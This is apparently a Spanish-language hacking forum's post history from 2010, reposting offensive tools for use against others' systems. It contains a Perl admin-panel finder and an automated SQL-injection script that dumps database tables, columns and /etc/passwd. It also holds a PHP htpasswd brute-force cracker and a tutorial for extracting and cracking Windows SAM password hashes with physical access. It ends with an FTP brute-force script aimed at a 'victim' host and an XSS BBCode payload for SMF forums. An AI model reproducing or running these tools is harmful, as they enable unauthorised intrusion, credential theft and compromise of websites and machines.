Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - dracko.rx

#41
Bugs y Exploits / Busca Panel (Very Good!) XD By KuNdUz
Febrero 25, 2010, 11:39:33 AM
Código: perl
#!usr/bin/perl

##
# Coded By KuNdUz
##

use Tk;
use HTTP::Request;
use LWP::UserAgent;

$mw = MainWindow->new( -background => "black", -cursor=>"crosshair");
$mw->geometry("1070x325+100+300");
$mw->title("|_^_| Admin Control Panel Finder v1.2 |_^_|");
$mw->resizable(0,0);

$statusbar = "|_^_| Admin Control Panel Finder v1.2 |_^_|";
$statusbottom = $mw->Label(-textvariable => \$statusbar, -relief => 'flat', -background => "black", -foreground => "red", -font => "Verdana 7", -width => 120)->place(-x => 240, -y => 307);
$mw->Label(-background => "black", -foreground => "black")->pack();
$stat = "Control Panel Found";
$sta = $mw->Label(-textvariable => \$stat, -relief => 'flat', -background => "black", -foreground => "red", -font => "Verdana 9")->place(-x => 380, -y => 10);
$stat1 = "Control Panel Not Found";
$st = $mw->Label(-textvariable => \$stat1, -relief => 'flat', -background => "black", -foreground => "red", -font => "Verdana 9")->place(-x => 786, -y => 10);
$test1 = $mw->Scrolled("Text", -scrollbars => 'oe', -font => "Verdana 8", -background => "black", -foreground => "red", -selectbackground => "red", -insertbackground => "red", -relief => "ridge", -width => 55, -height=> 20)->pack(-side => 'right', -anchor => 'e');
$test2 = $mw->Scrolled("Text", -scrollbars => 'oe', -font => "Verdana 8", -background => "black", -foreground => "red", -selectbackground => "red", -insertbackground => "red", -relief => "ridge", -width => 55, -height=> 20)->pack(-side => 'right', -anchor => 'e');
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "red", -font => "Verdana 9", -text => "                    Enter Site ")->pack(-anchor => 'nw');
$mw->Entry(-background => "black", -foreground => "red", -selectbackground => "black", -insertbackground => "red", -width => 40, -relief => "ridge", -textvariable => \$site)->pack(-anchor => 'nw');
$mw->Label(-background => "black", -foreground => "red", -font => "Verdana 9", -text => "          Enter Site Source Code ")->pack(-anchor => 'nw');
$mw->Entry(-background => "black", -foreground => "red", -selectbackground => "black", -insertbackground => "red", -width => 40, -relief => "ridge", -textvariable => \$code)->pack(-anchor => 'nw');
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Start", -width => 5, -command => \&scan)->place(-x => 40, -y => 190);
$mw->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Stop", -width => 5, -command => \&sto )->place(-x => 95, -y => 190);
$mw->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Clear",  -width => 5, -command => \&cle)->place(-x => 150, -y => 190);
$mw->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Help/About", -width => 9, -command => \&heaab)->place(-x => 50, -y => 240);
$mw->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Exit",  -width => 5, -command => sub { exit })->place(-x => 133, -y => 240);

MainLoop;

sub heaab {
$about = $mw->Toplevel(-background => "black", -cursor=>"crosshair");
$about->geometry("500x422+425+250");
$about->title("|_^_| Admin Control Panel Finder v1.2 |_^_|");
$about->resizable(0,0);
$about->Label(-background => "black", -foreground=>"red")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10", -text => "|_^_| Admin Control Panel Finder v1.2 Help |_^_|\n")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10",  -text => " -Enter Site-\nEnter Target address,\n exemplarily www.site.com or www.site.com/path")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10",  -text => " -Enter Site Source Code-\nEnter target site source code.\n Site source code php is the write php or\n Site source code asp is the write asp")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10",  -text => "\nEx:\n Enter Site : www.target.com\n Enter Site Source Code : php")->pack();
$about->Label(-background => "black", -foreground=>"red")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10", -text => "|_^_| Admin Control Panel Finder v1.2 About |_^_|\n")->pack();
$about->Label(-background => "black",-foreground => "red",-font => "wingdings 22", -text => "7")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 11",  -text => "Coded By KuNdUz")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 11",  -text => "Enjoy! :)")->pack();
$about->Label(-background => "black", -foreground => "red", -font => "Cambria 8",  -text => "10/12/2008")->pack(-anchor => "se");
$about->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -relief => "groove", -font=> "Verdana 7", -text => "Exit", -command => [$about => 'destroy'])->pack(-fill => "both");
}

sub cle {
$test1->delete("0.0", "end");
$test2->delete("0.0", "end");
}

sub sto {
$sisite = "",
$ways = "",
@path1 = ""
}

sub scan {

$test1->delete("0.0", "end");
$test2->delete("0.0", "end");

$sisite = $site;

if ( $sisite !~ /^http:/ ) {
$sisite = 'http://' . $sisite;
}
if ( $sisite !~ /\/$/ ) {
$sisite = $sisite . '/';
}

if($code eq "php"){
@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
);

foreach $ways(@path1){
$statusbar = "Scaning path: " . $ways;
$statusbottom->update();
$statusbar = "|_^_| Admin Control Panel Finder v1.2 |_^_|";
$final=$sisite.$ways;
$req=HTTP::Request->new(GET=>$final);
$ua=LWP::UserAgent->new();
$ua->timeout(30);
$response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
$test2->insert('end', $final."\n");
}else{
$test1->insert('end', $final."\n");
}
}
}

if($code eq "asp"){
@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html'
);

foreach $ways(@path1){
$statusbar = "Scaning path: " . $ways;
$statusbottom->update();
$statusbar = "|_^_| Admin Control Panel Finder v1.2 |_^_|";
$final=$sisite.$ways;
$req=HTTP::Request->new(GET=>$final);
$ua=LWP::UserAgent->new();
$ua->timeout(30);
$response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
$test2->insert('end', $final."\n");
}else{
$test1->insert('end', $final."\n");
}
}
}
}

##
# Coded By KuNdUz
##
#42
Bugs y Exploits / Scanner Inyeccion SQL en Perl
Febrero 25, 2010, 11:39:11 AM
Código: php

#!/usr/bin/perl

###########################################################################################
#                           -[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-                   ###
###########################################################################################

###########################################################################################
# [+] inf0:                                                                             ###
###########################################################################################
# Busca:                                                                                ###
# ======                                                                                ###
#  - Nº de columnas                                                                     ###       
#  - Information_Schema && MySQL.User                                                   ###
#  - LOAD_FILE                                                                          ###
#  - Tablas                                                                             ###                                               
#  - Columnas                                                                           ###
#                                                                                       ###
#  ...y guarda todo en un archivo de texto.                                             ###
#                                                                                       ###
###########################################################################################

###########################################################################################
# [+] Use:                                                                              ###
###########################################################################################
# perl sqlpwnz.pl [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]          ###
#   [WEBSITE]: [url]http://www.web.com/index.php?id=[/url]                                         ###
#   [COLUMNS]: Limite de columnas                                                       ###
#   [FILE]: Archivo donde guardar web vulnerable                                        ###
#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                             ###
#   [-T]: Intentar brutear tablas (Opcional)                                            ###
#   [-C]: Intentar brutear columnas (Opcional)                                          ###
#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                  ###
###########################################################################################

###########################################################################################
# [+] c0ntact:                                                                          ###
###########################################################################################
# MSN:    [email][email protected][/email]                                                          ###
# Jabber: [email][email protected][/email]                                                             ###
# E-Mail: [email][email protected][/email]                                                       ###
###########################################################################################

###########################################################################################
# [+] sh0utz:                                                                           ###
###########################################################################################
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion ; N3xtdoor      ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: [url]WWW.MITM.CL[/url] | [url]WWW.REMOTEEXECUTION.ORG[/url] | [url]WWW.DIOSDELARED.COM[/url]                    ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
   {
       print "\n\n-[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-\n=========================================";
       print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]\n";
       print "\n[WEBSITE]: [url]http://www.web.com/index.php?id=\n[/url][COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-T]: Intentar brutear tablas (Opcional)\n[-C]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n\n";
       exit (0);
   }
   
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
     'name','names','nombre','nombres','usuarios','member','members','admin_table',
     'miembro','miembros','membername','admins','administrator',
     'administrators','passwd','password','passwords','pass','Pass',
     'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
     'member_password','mods','mod','moderators','moderator','user_email',
     'user_emails','user_mail','user_mails','mail','emails','email','address',
     'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
     'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
     'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
     'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
     'sistema_usuario','sistema_password','contrasena','auth','key','senha',
     'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
     'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','loginname','userright');

if ( $ARGV[0]   !~   /^http:/ )
  {
      $ARGV[0] = "http://" . $ARGV[0];
  }

if ($ARGV[3] =~ "--" || $ARGV[4] =~ "--" || $ARGV[5] =~ "--" || $ARGV[6] =~ "--")
{
   $cmn.= "+";
   $cfin.="--";
   print "\n[+] Comentarios a utilizar: '--' & '+'";   
}
else
{
   $cmn.= "/**/";
   $cfin.= "/*";
   print "\n[+] Comentarios a utilizar: '/*' & '/**/'";
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
if ($ARGV[3] =~ "-NOCHECK" || $ARGV[4] =~ "-NOCHECK" || $ARGV[5] =~ "-NOCHECK" || $ARGV[6] =~ "-NOCHECK")
  {
      print "\n[!] Se omite el chequeo inicial...\n";
      print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
  }
else
  {
      print "\n[!] Chequeando si la web es vulnerable...\n";
      $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cfin;
      $response=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ ||         $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/)
        {
            print "[+] Web vulnerable, continua el script...\n";
            print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
        }
        else
          {
            print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario\n\n";
            exit(1);
          }
  }
print "\n[!] Buscando columnas...\n";
for ($column = 0 ; $column < $ARGV[1] ; $column ++)
{
   $union.=','.$column;
   $inyection.=','."0x6c6f67696e70776e7a";
    if ($column == 0)
      {
          print WEB "\n[COLUMNAS]:\n\n";
          $inyection = '';
          $union = '';
      }
    $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
    $response=get($sql)or die("[-] Error al intentar encontrar el numero de columnas, chequear website\n");
    if($response =~ /loginpwnz/)
      {
         $column ++;
         print "[+] La web posee $column columnas\n\n";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
         print "$sql\n";
         print WEB "$sql\n";
         print "\n[!] Chequeando si existe Information_Schema...";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
         $response=get($sql)or die("[-] Imposible obtener Information_Schema\n");
         if($response =~ /loginpwnz/)
            {
               print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
            $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
            print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
               
            }
         else
            {
               print "\n[-] Information_Schema no disponible";
            }
         print "\n[!] Chequeando si existe MySQL.User...";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
         $response=get($sql)or die("[-] Imposible obtener MySQL.User\n");
         if($response =~ /loginpwnz/)
            {
               print "\n[+] MySQL.User disponible...guardando en $ARGV[2]";
               $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
               print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
               
            }
         else
            {
               print "\n[-] MySQL.User no disponible";
            }
   while ($loadcont < $column-1)
      {
      $loadfile.=','.'load_file(0x2f6574632f706173737764)';
      $loadcont++;
      }
   print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";
        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
   $response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");
         if($response =~ /root:x:0:0/)
            {
               print "\n[+] LOAD_FILE disponible...guardando en $ARGV[2]";
               print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
          }
         else
            {
               print "\n[-] LOAD_FILE no disponible";
            }
   if ($ARGV[3] =~ "-T" || $ARGV[4] =~ "-T" || $ARGV[5] =~ "-T" || $ARGV[6] =~ "-T")
            {
              print "\n\n[!] Bruteando tablas...";
              print WEB "\n\n[TABLAS]:\n\n";
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);
                  $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                  $response=get($sql)or die("[-] Imposible obtener tablas\n");
                  if($response =~ /loginpwnz/)
                    {
                        print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]";
                        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
                        print WEB "$sql\n";
                    }
                }
              }
        if ($ARGV[3] =~ "-C" || $ARGV[4] =~ "-C" || $ARGV[5] =~ "-C" || $ARGV[6] =~ "-C")
          {
             print "\n\n[!] Tabla a la cual brutear columnas: ";
            $tabla.=<STDIN>;
            chomp($tabla);
            print WEB "\n\n[COLUMNAS EN TABLA]: $tabla\n\n";
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
             $response=get($sql)or die("[-] Imposible obtener columnas\n");
             if ($response =~ /loginpwnz/)
                  {
                      print "\n[+] La columna $columna esta disponible...guardando en $ARGV[2]";
                      print WEB "$columna\n";
                  }
            }
        }
        print WEB "\n\n\n[*EOF*]";
        print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n\n";
        print "## c0ded by Login-Root | 2008 ##\n\n";
        exit (0);
      }
}
print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
exit (0);


Uso:

Citarperl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta numero de columnas archivo_guardar.txt -- -T -C

Citar-- = Comentarios
T= tablas
C=Columnas


Saludos =)

Fuente:IlegalIntrusion.net
#43
Bugs y Exploits / Crackeador HTPASSWD 0.1
Febrero 25, 2010, 11:35:56 AM

  • Ataque de diccionario
  • BruteForce Numerico
  • BruteForce Solo Letras
  • Probar Toda la Tabla Ascii
  • Rango Definido por Usuario


Código: php
<html>
<head><title>Crackeador HTPASSWD 0.1 by Xianur0</title></head>
<body>
<center><h1>Crackeador HTPASSWD 0.1 by Xianur0<h1></center>
<script type="text/Javascript">function mostrar (postid) { whichpost = document.getElementById(postid);whichpost.className="postshown"; }
function ocultar (postid) { whichpost = document.getElementById(postid);whichpost.className="posthidden"; }
</script><style>.posthidden {display:none} .postshown {display:inline}</style>
<form>
<b>Hash: <input type="text" name="hash"><br>
<span class="posthidden" id="1">Largo Passwords: <input type="text" name="largo"><br></span>
<INPUT ONCLICK="javascript:ocultar(1);" TYPE="RADIO" NAME="tipo" VALUE="1">Ataque de diccionario<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="2">BruteForce Numerico<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="3">BruteForce Solo Letras<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="4">Probar Toda la Tabla Ascii :D<BR>
<INPUT ONCLICK="javascript:mostrar(2); javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="5">Rango Definido por Usuario<BR>
<span class="posthidden" id="2">Rango de Caracteres: <input type="text" name="rango" value='A-z'><br></span>
<input type="submit" value="Crack!">
</form>
<?php
if(isset($_GET['hash'])) {
set_time_limit(0);
define("hash", $_GET['hash']);
define("salt", $_GET['hash']{0}.$_GET['hash']{1});
define("largo", $_GET['largo']);
function comprobar($password) {
if(crypt($password, salt) == hash) {die("<br>Password Encontrada: $password");}
}

function diccionario() {
$archivo = file("db.txt");
foreach($archivo as $n=>$pass) {
$pass = chop($pass);
print comprobar($pass, salt);
}
}

function generar($inicio, $fin) {
$inicio = ord($inicio);
$fin = ord($fin);
while($run != "kill") {
for($i=0; $i<largo; $i++) {
$pass .= chr(rand($inicio, $fin));
}
comprobar($pass);
$pass = '';
}
}

switch ($_GET['tipo']) {
case 1:
    diccionario();
    break;
case 2:
    generar(0, 9);
    break;
case 3:
    generar("A", "z");
    break;
case 4:
    generar(" ", "~");
    break;
case 5:
    list($inicial, $final) = explode("-", $_GET['rango']);
    generar($inicial, $final);
    break;
}
}
?>
</body>
</html>


solo se le tiene que cambiar el cripto sistema (en vez de la función crypt usar md5, etc...).
#44
Bueno se ke ya existe mucha info sobre esto, pero bueno un poco mas no hace daño a nadie.
Ademas este tuto va enfocado a los novatos, bueno espero ke les guste y perdonen si no pongo capturas pero lo hice de rapido, ademàs creo ke kedarà muy entendible apesar de no usar imagenes y pues cualkier duda pueden preguntar.

Herramientas:

1)Una pc con windows xp, funciona tmb para versiones mas viejitas, en vista la vdd no se si funcione pues no lo he probado pero me imagino ke si

2)Acceso fisico a la pc

3)Una distribucion de linux, en mi caso usarè mi buen amigo backtrack 3.
Uso backtrack xq ya trae muchas herramientas de crackeo instaladas pero da igual la ke usen

empezàmos por abrir una consola de bt3

y tecleamos lo sig:

Código: php

ls /mnt/hda1


en mi caso es hda1 pero en el de uds puede variar un poco, puede ser sda1, sda2, hda2, etc

y nos desplegarà algo como esto:

Código: php

bt ~ # ls /mnt/hda1
AUTOEXEC.BAT*              IO.SYS*                       boot.ini*
AppServ/                   MSDOS.SYS*                    datos.sql*
Archivos\ de\ programa/    NTDETECT.COM*                 eclipse/
Bootfont.bin*              RECYCLER/                     ntldr*
CONFIG.SYS*                Sun/                          pagefile.sys*
Config.Msi/                System\ Volume\ Information/  xampp/
Documents\ and\ Settings/  WINDOWS/


estos son los archivos ke tengo en mi pc, en mi disco duro C:/, obviamente en el de uds va a cambiar

procedemos a crear una carpeta:

Código: php

mkdir /crack
cd /crack


Ahora ke ya estàmos dentro de /crack

ahora vamos a extraer la boot key y guardarla en un archivo .txt llamado bootkey.txt:

Código: php

bkhive /mnt/hda1/WINDOWS/system32/config/system bootkey.txt


les tiene ke aparecer algo parecido a esto:

Código: php
Bootkey: 5da3c4796d09d5ca929d8498c6af87c9


Ahora vamos a extraer el hash del archivo SAM y guardarlo como hash.txt:

Código: php


samdump2 /mnt/hda1/WINDOWS/system32/config/SAM bootkey.txt >hash.txt


Una vez hecho esto ya tenemos el contenido del archivo SAM que es donde se encuentran los passwords en hash.txt. ahora vamos a crackearlo.

para esto usarèmos un diccionario  y john the ripper

necesitàmos tener el diccionario en la misma carpeta donde estàmos (crack)
recuerden ke un diccionario no es mas ke un archivo de texto ke contiene varias palabras (posibles passwords).

Bien una vez ke ya tenèmos el diccionario (words.txt) tecleamos lo sig para crackear el hash:

Código: php

john hash.txt -f:NT -w:words.txt


y nos darà el password del windows

recordèmos ke si el password no està en el diccionario, pues entonces es imposible crackearlo

por eso para ke este atake funcione necesitamos tener un buen diccionario

cualkier duda aki estoy

salu2

Fuente: Devilboy

#45
Bugs y Exploits / FTP Bruteforce Priv8 -(PHP)
Febrero 25, 2010, 11:25:29 AM
Esto es FTP Bruteforce. sólo cambiar el puerto $ host $ § usuario y el %% ADDMOREPASSESHERE puestos en la matriz y trabajará al 100% en todos los Hoster que tiene conexiones ftp habilitado.
---------------------------------------------------------
Código: php
<?php
$host = "www.web-victima.com";
$port = "21";
$user = "IamaAdminsoiknoweverything";
$password = array("sa", "admin", "root", "test", "123", "abc", "change", "support", "web", "root" , "%ADDMOREPASSESHERE%" );
  foreach($password as $mypass)
if((isset($host)) AND (isset($port)) AND (isset($user))) {
$connect = ftp_connect($host, $port);
     if(!$connect)
     {
  echo('<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><img src="images/serveroff1.gif">');
     exit();
     }
$result = @ftp_login($connect, $user, $mypass);
        if ($result)
                                      {
                                      Echo " Password:$mypass<br>";
                                    }
                                    else
                                    {
                                      Echo "Password: <b>Passwort nicht gefunden.</b><br>";
                                     }
                          ftp_quit($connect);
                           }
     ?>


Salu2
#46
Bugs y Exploits / XSS BBCode Exploit SMF All Versions
Febrero 25, 2010, 11:19:12 AM
Author: Xianur0

BBCode of the smf not filtered properly specified urls:

Código: php
[center][size=14pt][url=javascript:alert('xss')]Saltando Filtro
:D...[/url][/size]
